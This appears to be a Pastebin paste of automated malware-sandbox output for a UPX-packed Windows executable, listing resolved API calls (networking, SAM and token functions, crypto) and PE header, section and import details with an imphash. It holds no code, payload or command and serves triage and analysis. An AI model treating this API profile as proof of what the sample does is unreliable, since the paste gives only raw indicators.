  1319. "winhttp.dll.WinHttpQueryDataAvailable",
  1320. "winhttp.dll.WinHttpReadData",
  1321. "winhttp.dll.WinHttpCloseHandle",
  1322. "ws2_32.dll.#22",
  1323. "ws2_32.dll.#3",
  1324. "cryptnet.dll.CryptGetObjectUrl",
  1325. "cryptnet.dll.CryptRetrieveObjectByUrlW",
  1326. "cryptnet.dll.I_CryptNetGetConnectivity",
  1327. "winhttp.dll.WinHttpSetStatusCallback",
  1328. "setupapi.dll.SetupIterateCabinetW",
  1329. "winhttp.dll.WinHttpTimeFromSystemTime",
  1330. "cryptnet.dll.I_CryptNetSetUrlCacheFlushInfo",
  1331. "cryptnet.dll.I_CryptNetSetUrlCachePreFetchInfo",
  1332. "advapi32.dll.UnregisterTraceGuids",
  1333. "comctl32.dll.#321",
  1334. "kernel32.dll.SetThreadUILanguage",
  1335. "kernel32.dll.CopyFileExW",
  1336. "kernel32.dll.SetConsoleInputExeNameW",
  1337. "version.dll.GetFileVersionInfoSizeW",
  1338. "version.dll.GetFileVersionInfoW",
  1339. "version.dll.VerQueryValueW",
  1340. "sechost.dll.LookupAccountNameLocalW",
  1341. "advapi32.dll.LookupAccountSidW",
  1342. "sechost.dll.LookupAccountSidLocalW",
  1343. "sspicli.dll.GetUserNameExW",
  1344. "advapi32.dll.GetUserNameW",
  1345. "xmllite.dll.CreateXmlWriter",
  1346. "xmllite.dll.CreateXmlWriterOutputWithEncodingName",
  1347. "sechost.dll.QueryServiceStatus",
  1348. "rasapi32.dll.RasEnumConnectionsW",
  1349. "advapi32.dll.WmiMofEnumerateResourcesW",
  1350. "advapi32.dll.WmiFreeBuffer",
  1351. "advapi32.dll.WmiCloseBlock",
  1352. "propsys.dll.PropVariantToVariant",
  1353. "wbemcore.dll.Shutdown",
  1354. "tschannel.dll.DllGetClassObject",
  1355. "tschannel.dll.DllCanUnloadNow",
  1356. "kernel32.dll.VerSetConditionMask",
  1357. "kernel32.dll.CreateIoCompletionPort",
  1358. "kernel32.dll.GetQueuedCompletionStatus",
  1359. "kernel32.dll.PostQueuedCompletionStatus",
  1360. "kernel32.dll.QueueUserAPC",
  1361. "kernel32.dll.TerminateThread",
  1362. "kernel32.dll.WaitForMultipleObjects",
  1363. "kernel32.dll.VerifyVersionInfoA",
  1364. "kernel32.dll.CreateEventA",
  1365. "kernel32.dll.QueryPerformanceFrequency",
  1366. "kernel32.dll.GetCurrentThread",
  1367. "kernel32.dll.SetThreadPriority",
  1368. "kernel32.dll.SetEvent",
  1369. "kernel32.dll.SleepEx",
  1370. "kernel32.dll.CreateEventW",
  1371. "kernel32.dll.GlobalMemoryStatusEx",
  1372. "kernel32.dll.GetLogicalProcessorInformation",
  1373. "kernel32.dll.ExpandEnvironmentStringsA",
  1374. "kernel32.dll.GetProcessAffinityMask",
  1375. "kernel32.dll.SetProcessAffinityMask",
  1376. "kernel32.dll.SetPriorityClass",
  1377. "kernel32.dll.SetConsoleCtrlHandler",
  1378. "kernel32.dll.GetConsoleWindow",
  1379. "kernel32.dll.SetEndOfFile",
  1380. "kernel32.dll.WriteConsoleW",
  1381. "kernel32.dll.FindNextFileA",
  1382. "kernel32.dll.FindFirstFileExA",
  1383. "kernel32.dll.FindClose",
  1384. "kernel32.dll.ReadConsoleW",
  1385. "kernel32.dll.SetFilePointerEx",
  1386. "kernel32.dll.GetFileAttributesExW",
  1387. "kernel32.dll.GetExitCodeProcess",
  1388. "kernel32.dll.GetTimeZoneInformation",
  1389. "kernel32.dll.DuplicateHandle",
  1390. "kernel32.dll.WaitForSingleObjectEx",
  1391. "kernel32.dll.TryEnterCriticalSection",
  1392. "kernel32.dll.CompareStringW",
  1393. "kernel32.dll.GetLocaleInfoW",
  1394. "kernel32.dll.LocalFree",
  1395. "kernel32.dll.FormatMessageA",
  1396. "kernel32.dll.ResetEvent",
  1397. "kernel32.dll.ReleaseSemaphore",
  1398. "kernel32.dll.WaitForMultipleObjectsEx",
  1399. "kernel32.dll.OpenEventA",
  1400. "kernel32.dll.ResumeThread",
  1401. "kernel32.dll.SystemTimeToFileTime",
  1402. "kernel32.dll.RtlCaptureContext",
  1403. "kernel32.dll.RtlLookupFunctionEntry",
  1404. "kernel32.dll.RtlVirtualUnwind",
  1405. "kernel32.dll.GetStartupInfoW",
  1406. "kernel32.dll.InitializeSListHead",
  1407. "kernel32.dll.CreateTimerQueue",
  1408. "kernel32.dll.SignalObjectAndWait",
  1409. "kernel32.dll.SwitchToThread",
  1410. "kernel32.dll.GetThreadPriority",
  1411. "kernel32.dll.CreateTimerQueueTimer",
  1412. "kernel32.dll.ChangeTimerQueueTimer",
  1413. "kernel32.dll.DeleteTimerQueueTimer",
  1414. "kernel32.dll.GetNumaHighestNodeNumber",
  1415. "kernel32.dll.SetThreadAffinityMask",
  1416. "kernel32.dll.RegisterWaitForSingleObject",
  1417. "kernel32.dll.UnregisterWait",
  1418. "kernel32.dll.GetThreadTimes",
  1419. "kernel32.dll.FreeLibraryAndExitThread",
  1420. "kernel32.dll.GetModuleFileNameW",
  1421. "kernel32.dll.LoadLibraryExW",
  1422. "kernel32.dll.GetVersionExW",
  1423. "kernel32.dll.InterlockedPopEntrySList",
  1424. "kernel32.dll.InterlockedPushEntrySList",
  1425. "kernel32.dll.InterlockedFlushSList",
  1426. "kernel32.dll.QueryDepthSList",
  1427. "kernel32.dll.UnregisterWaitEx",
  1428. "kernel32.dll.LoadLibraryW",
  1429. "kernel32.dll.RtlPcToFileHeader",
  1430. "kernel32.dll.RtlUnwindEx",
  1431. "kernel32.dll.GetDriveTypeW",
  1432. "kernel32.dll.GetFullPathNameW",
  1433. "kernel32.dll.GetFullPathNameA",
  1434. "kernel32.dll.GetModuleHandleExW",
  1435. "kernel32.dll.PeekNamedPipe",
  1436. "kernel32.dll.SystemTimeToTzSpecificLocalTime",
  1437. "kernel32.dll.FileTimeToSystemTime",
  1438. "kernel32.dll.ExitThread",
  1439. "kernel32.dll.GetCommandLineW",
  1440. "kernel32.dll.GetConsoleCP",
  1441. "kernel32.dll.GetConsoleMode",
  1442. "kernel32.dll.GetCurrentDirectoryW",
  1443. "kernel32.dll.GetDateFormatW",
  1444. "kernel32.dll.GetTimeFormatW",
  1445. "kernel32.dll.IsValidLocale",
  1446. "kernel32.dll.EnumSystemLocalesW",
  1447. "kernel32.dll.SetEnvironmentVariableA",
  1448. "kernel32.dll.SetEnvironmentVariableW",
  1449. "user32.dll.ShowWindow",
  1450. "ws2_32.dll.#7",
  1451. "ws2_32.dll.#4",
  1452. "ws2_32.dll.#111",
  1453. "ws2_32.dll.#112",
  1454. "ws2_32.dll.#116",
  1455. "ws2_32.dll.getaddrinfo",
  1456. "ws2_32.dll.#18",
  1457. "ws2_32.dll.#13",
  1458. "ws2_32.dll.#10",
  1459. "ws2_32.dll.#1",
  1460. "ws2_32.dll.freeaddrinfo",
  1461. "ws2_32.dll.#115",
  1462. "kernel32.dll.LCMapStringEx",
  1463. "kernel32.dll.InitializeCriticalSectionEx",
  1464. "kernel32.dll.InitOnceExecuteOnce",
  1465. "kernel32.dll.CreateEventExW",
  1466. "kernel32.dll.CreateSemaphoreW",
  1467. "kernel32.dll.CreateSemaphoreExW",
  1468. "kernel32.dll.CreateThreadpoolTimer",
  1469. "kernel32.dll.SetThreadpoolTimer",
  1470. "kernel32.dll.WaitForThreadpoolTimerCallbacks",
  1471. "kernel32.dll.CloseThreadpoolTimer",
  1472. "kernel32.dll.CreateThreadpoolWait",
  1473. "kernel32.dll.SetThreadpoolWait",
  1474. "kernel32.dll.CloseThreadpoolWait",
  1475. "kernel32.dll.FlushProcessWriteBuffers",
  1476. "kernel32.dll.FreeLibraryWhenCallbackReturns",
  1477. "kernel32.dll.GetCurrentProcessorNumber",
  1478. "kernel32.dll.CreateSymbolicLinkW",
  1479. "kernel32.dll.GetTickCount64",
  1480. "kernel32.dll.GetFileInformationByHandleEx",
  1481. "kernel32.dll.SetFileInformationByHandle",
  1482. "kernel32.dll.InitializeConditionVariable",
  1483. "kernel32.dll.WakeConditionVariable",
  1484. "kernel32.dll.WakeAllConditionVariable",
  1485. "kernel32.dll.SleepConditionVariableCS",
  1486. "kernel32.dll.InitializeSRWLock",
  1487. "kernel32.dll.AcquireSRWLockExclusive",
  1488. "kernel32.dll.TryAcquireSRWLockExclusive",
  1489. "kernel32.dll.ReleaseSRWLockExclusive",
  1490. "kernel32.dll.SleepConditionVariableSRW",
  1491. "kernel32.dll.CreateThreadpoolWork",
  1492. "kernel32.dll.SubmitThreadpoolWork",
  1493. "kernel32.dll.CloseThreadpoolWork",
  1494. "kernel32.dll.CompareStringEx",
  1495. "kernel32.dll.GetLocaleInfoEx",
  1496. "advapi32.dll.SystemFunction036",
  1497. "cryptbase.dll.SystemFunction001",
  1498. "cryptbase.dll.SystemFunction002",
  1499. "cryptbase.dll.SystemFunction003",
  1500. "cryptbase.dll.SystemFunction004",
  1501. "cryptbase.dll.SystemFunction005",
  1502. "cryptbase.dll.SystemFunction028",
  1503. "cryptbase.dll.SystemFunction029",
  1504. "cryptbase.dll.SystemFunction034",
  1505. "cryptbase.dll.SystemFunction040",
  1506. "cryptbase.dll.SystemFunction041",
  1507. "kernel32.dll.SetDllDirectoryW",
  1508. "ole32.dll.OleInitialize",
  1509. "comctl32.dll.InitCommonControlsEx",
  1510. "user32.dll.GetWindowInfo",
  1511. "user32.dll.GetAncestor",
  1512. "user32.dll.GetMonitorInfoA",
  1513. "user32.dll.EnumDisplayMonitors",
  1514. "user32.dll.EnumDisplayDevicesA",
  1515. "gdi32.dll.ExtTextOutW",
  1516. "gdi32.dll.GdiIsMetaPrintDC",
  1517. "shell32.dll.SHGetMalloc",
  1518. "ole32.dll.CoGetMalloc",
  1519. "user32.dll.LoadIconW",
  1520. "user32.dll.LoadBitmapW",
  1521. "windowscodecs.dll.DllGetClassObject",
  1522. "kernel32.dll.WerRegisterMemoryBlock",
  1523. "gdi32.dll.GetObjectW",
  1524. "user32.dll.GetDC",
  1525. "gdi32.dll.GetDeviceCaps",
  1526. "user32.dll.ReleaseDC",
  1527. "user32.dll.DialogBoxParamW",
  1528. "dwmapi.dll.DwmIsCompositionEnabled",
  1529. "comctl32.dll.RegisterClassNameW",
  1530. "uxtheme.dll.EnableThemeDialogTexture",
  1531. "uxtheme.dll.OpenThemeData",
  1532. "uxtheme.dll.IsThemePartDefined",
  1533. "uxtheme.dll.GetThemeMargins",
  1534. "uxtheme.dll.GetThemeBool",
  1535. "uxtheme.dll.GetThemeInt",
  1536. "comctl32.dll.HIMAGELIST_QueryInterface",
  1537. "comctl32.dll.DrawShadowText",
  1538. "comctl32.dll.DrawSizeBox",
  1539. "comctl32.dll.DrawScrollBar",
  1540. "comctl32.dll.SizeBoxHwnd",
  1541. "comctl32.dll.ScrollBar_MouseMove",
  1542. "comctl32.dll.ScrollBar_Menu",
  1543. "comctl32.dll.HandleScrollCmd",
  1544. "comctl32.dll.DetachScrollBars",
  1545. "comctl32.dll.AttachScrollBars",
  1546. "comctl32.dll.CCSetScrollInfo",
  1547. "comctl32.dll.CCGetScrollInfo",
  1548. "comctl32.dll.CCEnableScrollBar",
  1549. "comctl32.dll.QuerySystemGestureStatus",
  1550. "uxtheme.dll.#49",
  1551. "uxtheme.dll.CloseThemeData",
  1552. "uxtheme.dll.SetWindowTheme",
  1553. "uxtheme.dll.GetThemeFont",
  1554. "uxtheme.dll.GetThemeColor",
  1555. "imm32.dll.ImmIsIME",
  1556. "user32.dll.GetWindowRect",
  1557. "user32.dll.GetClientRect",
  1558. "user32.dll.GetWindowTextW",
  1559. "user32.dll.SetWindowTextW",
  1560. "user32.dll.GetSystemMetrics",
  1561. "user32.dll.GetWindow",
  1562. "user32.dll.SendMessageW",
  1563. "gdi32.dll.GetLayout",
  1564. "gdi32.dll.GdiRealizationInfo",
  1565. "gdi32.dll.FontIsLinked",
  1566. "advapi32.dll.RegOpenKeyExW",
  1567. "advapi32.dll.RegQueryInfoKeyW",
  1568. "gdi32.dll.GetTextFaceAliasW",
  1569. "advapi32.dll.RegEnumValueW",
  1570. "gdi32.dll.GetFontAssocStatus",
  1571. "advapi32.dll.RegQueryValueExA",
  1572. "advapi32.dll.RegEnumKeyExW",
  1573. "gdi32.dll.GetTextExtentExPointWPri",
  1574. "user32.dll.SendDlgItemMessageW",
  1575. "user32.dll.GetDlgItem",
  1576. "user32.dll.GetClassNameW",
  1577. "user32.dll.FindWindowExW",
  1578. "shlwapi.dll.SHAutoComplete",
  1579. "comctl32.dll.#320",
  1580. "comctl32.dll.#324",
  1581. "comctl32.dll.#411",
  1582. "comctl32.dll.#410",
  1583. "uxtheme.dll.GetThemePartSize",
  1584. "uxtheme.dll.GetThemeTextExtent",
  1585. "comctl32.dll.#413",
  1586. "user32.dll.OemToCharBuffA",
  1587. "user32.dll.PeekMessageW",
  1588. "user32.dll.GetMessageW",
  1589. "user32.dll.DispatchMessageW",
  1590. "user32.dll.GetDlgItemTextW",
  1591. "user32.dll.SetFocus",
  1592. "ole32.dll.CoInitializeEx",
  1593. "ole32.dll.CoRegisterInitializeSpy",
  1594. "ole32.dll.CoRevokeInitializeSpy",
  1595. "user32.dll.SetDlgItemTextW",
  1596. "user32.dll.GetWindowLongW",
  1597. "user32.dll.SetWindowLongW",
  1598. "user32.dll.CharUpperW",
  1599. "shell32.dll.ShellExecuteExW",
  1600. "user32.dll.EnableWindow",
  1601. "user32.dll.EndDialog",
  1602. "comctl32.dll.#412",
  1603. "comctl32.dll.#388",
  1604. "gdi32.dll.DeleteObject",
  1605. "ole32.dll.OleUninitialize",
  1606. "oleaut32.dll.#500",
  1607. "advapi32.dll.SaferIdentifyLevel",
  1608. "advapi32.dll.SaferComputeTokenFromLevel",
  1609. "advapi32.dll.SaferCloseLevel",
  1610. "kernel32.dll.GetThreadPreferredUILanguages",
  1611. "kernel32.dll.SetThreadPreferredUILanguages",
  1612. "kernel32.dll.LocaleNameToLCID",
  1613. "kernel32.dll.LCIDToLocaleName",
  1614. "kernel32.dll.GetSystemDefaultLocaleName",
  1615. "fastprox.dll.DllGetClassObject",
  1616. "fastprox.dll.DllCanUnloadNow",
  1617. "oleaut32.dll.#283",
  1618. "oleaut32.dll.#284",
  1619. "kernel32.dll.RegOpenKeyExW",
  1620. "psapi.dll.EnumProcesses",
  1621. "psapi.dll.EnumProcessModules",
  1622. "psapi.dll.GetModuleBaseNameW",
  1623. "ntdll.dll.NtQuerySystemInformation",
  1624. "ole32.dll.CoGetClassObject",
  1625. "ole32.dll.CoGetMarshalSizeMax",
  1626. "ole32.dll.CoMarshalInterface",
  1627. "ole32.dll.CoUnmarshalInterface",
  1628. "ole32.dll.StringFromIID",
  1629. "ole32.dll.CoGetPSClsid",
  1630. "ole32.dll.CoTaskMemAlloc",
  1631. "ole32.dll.CoTaskMemFree",
  1632. "ole32.dll.CoReleaseMarshalData",
  1633. "ole32.dll.DcomChannelSetHResult",
  1634. "vssapi.dll.CreateWriter",
  1635. "advapi32.dll.LookupAccountNameW",
  1636. "samcli.dll.NetLocalGroupGetMembers",
  1637. "samlib.dll.SamConnect",
  1638. "rpcrt4.dll.NdrClientCall3",
  1639. "rpcrt4.dll.RpcStringBindingComposeW",
  1640. "rpcrt4.dll.RpcBindingFromStringBindingW",
  1641. "rpcrt4.dll.RpcStringFreeW",
  1642. "samlib.dll.SamOpenDomain",
  1643. "samlib.dll.SamLookupNamesInDomain",
  1644. "samlib.dll.SamOpenAlias",
  1645. "samlib.dll.SamFreeMemory",
  1646. "samlib.dll.SamCloseHandle",
  1647. "samlib.dll.SamGetMembersInAlias",
  1648. "netutils.dll.NetApiBufferFree",
  1649. "ole32.dll.CoCreateGuid",
  1650. "ole32.dll.StringFromCLSID",
  1651. "oleaut32.dll.#7",
  1652. "propsys.dll.VariantToPropVariant",
  1653. "wbemcore.dll.Reinitialize",
  1654. "wbemsvc.dll.DllGetClassObject",
  1655. "wbemsvc.dll.DllCanUnloadNow",
  1656. "authz.dll.AuthzInitializeContextFromToken",
  1657. "authz.dll.AuthzInitializeObjectAccessAuditEvent2",
  1658. "authz.dll.AuthzAccessCheck",
  1659. "authz.dll.AuthzFreeAuditEvent",
  1660. "authz.dll.AuthzFreeContext",
  1661. "authz.dll.AuthzInitializeResourceManager",
  1662. "authz.dll.AuthzFreeResourceManager",
  1663. "rpcrt4.dll.RpcBindingCreateW",
  1664. "rpcrt4.dll.RpcBindingBind",
  1665. "rpcrt4.dll.I_RpcMapWin32Status",
  1666. "advapi32.dll.EventRegister",
  1667. "advapi32.dll.EventUnregister",
  1668. "advapi32.dll.EventWrite",
  1669. "kernel32.dll.RegCloseKey",
  1670. "kernel32.dll.RegSetValueExW",
  1671. "kernel32.dll.RegQueryValueExW",
  1672. "wmisvc.dll.IsImproperShutdownDetected",
  1673. "wevtapi.dll.EvtRender",
  1674. "wevtapi.dll.EvtNext",
  1675. "wevtapi.dll.EvtClose",
  1676. "wevtapi.dll.EvtQuery",
  1677. "wevtapi.dll.EvtCreateRenderContext",
  1678. "rpcrt4.dll.RpcBindingSetAuthInfoExW",
  1679. "rpcrt4.dll.RpcBindingSetOption",
  1680. "ole32.dll.CoCreateFreeThreadedMarshaler",
  1681. "advapi32.dll.RegSetValueExW",
  1682. "cryptsp.dll.CryptAcquireContextW",
  1683. "cryptsp.dll.CryptGenRandom",
  1684. "cryptsp.dll.CryptReleaseContext",
  1685. "kernelbase.dll.InitializeAcl",
  1686. "kernelbase.dll.AddAce",
  1687. "sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
  1688. "kernel32.dll.IsThreadAFiber",
  1689. "kernel32.dll.OpenProcessToken",
  1690. "kernelbase.dll.GetTokenInformation",
  1691. "kernelbase.dll.DuplicateTokenEx",
  1692. "kernelbase.dll.AdjustTokenPrivileges",
  1693. "kernel32.dll.SetThreadToken",
  1694. "kernelbase.dll.CheckTokenMembership",
  1695. "kernelbase.dll.AllocateAndInitializeSid",
  1696. "oleaut32.dll.#285",
  1697. "oleaut32.dll.#25",
  1698. "authz.dll.AuthzInitializeContextFromSid",
  1699. "oleaut32.dll.#286",
  1700. "ole32.dll.CoGetCallContext",
  1701. "ole32.dll.CoImpersonateClient",
  1702. "advapi32.dll.OpenThreadToken",
  1703. "ole32.dll.CoRevertToSelf",
  1704. "ole32.dll.CoSwitchCallContext",
  1705. "ntmarta.dll.GetMartaExtensionInterface",
  1706. "advapi32.dll.CryptAcquireContextW",
  1707. "shlwapi.dll.PathIsDirectoryW",
  1708. "advapi32.dll.RegNotifyChangeKeyValue",
  1709. "ole32.dll.NdrOleInitializeExtension",
  1710. "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
  1711. "ole32.dll.CLSIDFromOle1Class",
  1712. "clbcatq.dll.GetCatalogObject",
  1713. "clbcatq.dll.GetCatalogObject2",
  1714. "shlwapi.dll.PathIsPrefixW",
  1715. "advapi32.dll.CryptCreateHash",
  1716. "advapi32.dll.CryptGetHashParam",
  1717. "cryptsp.dll.CryptGetHashParam",
  1718. "advapi32.dll.CryptHashData",
  1719. "advapi32.dll.CryptDestroyHash",
  1720. "xmllite.dll.CreateXmlReader",
  1721. "advapi32.dll.CryptReleaseContext"
  1722. ]
  1723.  
  1724. [*] Static Analysis: {
  1725. "pe": {
  1726. "peid_signatures": null,
  1727. "imports": [
  1728. {
  1729. "imports": [
  1730. {
  1731. "name": "LoadLibraryA",
  1732. "address": "0x43d0b4"
  1733. },
  1734. {
  1735. "name": "ExitProcess",
  1736. "address": "0x43d0b8"
  1737. },
  1738. {
  1739. "name": "GetProcAddress",
  1740. "address": "0x43d0bc"
  1741. },
  1742. {
  1743. "name": "VirtualProtect",
  1744. "address": "0x43d0c0"
  1745. }
  1746. ],
  1747. "dll": "KERNEL32.DLL"
  1748. },
  1749. {
  1750. "imports": [
  1751. {
  1752. "name": "OleRun",
  1753. "address": "0x43d0c8"
  1754. }
  1755. ],
  1756. "dll": "ole32.dll"
  1757. },
  1758. {
  1759. "imports": [
  1760. {
  1761. "name": "VariantClear",
  1762. "address": "0x43d0d0"
  1763. }
  1764. ],
  1765. "dll": "OLEAUT32.dll"
  1766. },
  1767. {
  1768. "imports": [
  1769. {
  1770. "name": "ShellExecuteA",
  1771. "address": "0x43d0d8"
  1772. }
  1773. ],
  1774. "dll": "SHELL32.dll"
  1775. },
  1776. {
  1777. "imports": [
  1778. {
  1779. "name": "PathFileExistsA",
  1780. "address": "0x43d0e0"
  1781. }
  1782. ],
  1783. "dll": "SHLWAPI.dll"
  1784. },
  1785. {
  1786. "imports": [
  1787. {
  1788. "name": "wsprintfA",
  1789. "address": "0x43d0e8"
  1790. }
  1791. ],
  1792. "dll": "USER32.dll"
  1793. },
  1794. {
  1795. "imports": [
  1796. {
  1797. "name": "WinHttpAddRequestHeaders",
  1798. "address": "0x43d0f0"
  1799. }
  1800. ],
  1801. "dll": "WINHTTP.dll"
  1802. },
  1803. {
  1804. "imports": [
  1805. {
  1806. "name": "InternetOpenA",
  1807. "address": "0x43d0f8"
  1808. }
  1809. ],
  1810. "dll": "WININET.dll"
  1811. }
  1812. ],
  1813. "digital_signers": null,
  1814. "exported_dll_name": null,
  1815. "actual_checksum": "0x000208a0",
  1816. "overlay": null,
  1817. "imagebase": "0x00400000",
  1818. "reported_checksum": "0x00000000",
  1819. "icon_hash": null,
  1820. "entrypoint": "0x0043c570",
  1821. "timestamp": "2019-06-25 03:53:53",
  1822. "osversion": "4.0",
  1823. "sections": [
  1824. {
  1825. "name": "UPX0",
  1826. "characteristics": "IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1827. "virtual_address": "0x00001000",
  1828. "size_of_data": "0x00000000",
  1829. "entropy": "0.00",
  1830. "raw_address": "0x00000400",
  1831. "virtual_size": "0x00028000",
  1832. "characteristics_raw": "0xe0000080"
  1833. },
  1834. {
  1835. "name": "UPX1",
  1836. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1837. "virtual_address": "0x00029000",
  1838. "size_of_data": "0x00013800",
  1839. "entropy": "7.89",
  1840. "raw_address": "0x00000400",
  1841. "virtual_size": "0x00014000",
  1842. "characteristics_raw": "0xe0000040"
  1843. },
  1844. {
  1845. "name": "UPX2",
  1846. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1847. "virtual_address": "0x0003d000",
  1848. "size_of_data": "0x00000200",
  1849. "entropy": "4.07",
  1850. "raw_address": "0x00013c00",
  1851. "virtual_size": "0x00001000",
  1852. "characteristics_raw": "0xc0000040"
  1853. }
  1854. ],
  1855. "resources": [],
  1856. "dirents": [
  1857. {
  1858. "virtual_address": "0x00000000",
  1859. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  1860. "size": "0x00000000"
  1861. },
  1862. {
  1863. "virtual_address": "0x0003d000",
  1864. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  1865. "size": "0x000001fc"
  1866. },
  1867. {
  1868. "virtual_address": "0x00000000",
  1869. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  1870. "size": "0x00000000"
  1871. },
  1872. {
  1873. "virtual_address": "0x00000000",
  1874. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  1875. "size": "0x00000000"
  1876. },
  1877. {
  1878. "virtual_address": "0x00000000",
  1879. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  1880. "size": "0x00000000"
  1881. },
  1882. {
  1883. "virtual_address": "0x00000000",
  1884. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  1885. "size": "0x00000000"
  1886. },
  1887. {
  1888. "virtual_address": "0x00000000",
  1889. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  1890. "size": "0x00000000"
  1891. },
  1892. {
  1893. "virtual_address": "0x00000000",
  1894. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  1895. "size": "0x00000000"
  1896. },
  1897. {
  1898. "virtual_address": "0x00000000",
  1899. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  1900. "size": "0x00000000"
  1901. },
  1902. {
  1903. "virtual_address": "0x00000000",
  1904. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  1905. "size": "0x00000000"
  1906. },
  1907. {
  1908. "virtual_address": "0x00000000",
  1909. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  1910. "size": "0x00000000"
  1911. },
  1912. {
  1913. "virtual_address": "0x00000000",
  1914. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  1915. "size": "0x00000000"
  1916. },
  1917. {
  1918. "virtual_address": "0x00000000",
  1919. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  1920. "size": "0x00000000"
  1921. },
  1922. {
  1923. "virtual_address": "0x00000000",
  1924. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  1925. "size": "0x00000000"
  1926. },
  1927. {
  1928. "virtual_address": "0x00000000",
  1929. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  1930. "size": "0x00000000"
  1931. },
  1932. {
  1933. "virtual_address": "0x00000000",
  1934. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  1935. "size": "0x00000000"
  1936. }
  1937. ],
  1938. "exports": [],
  1939. "guest_signers": {},
  1940. "imphash": "48c64dc9715b56a74c5ed4ab1ea53824",
  1941. "icon_fuzzy": null,
  1942. "icon": null,
  1943. "pdbpath": null,
  1944. "imported_dll_count": 8,
  1945. "versioninfo": []
  1946. }
  1947. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!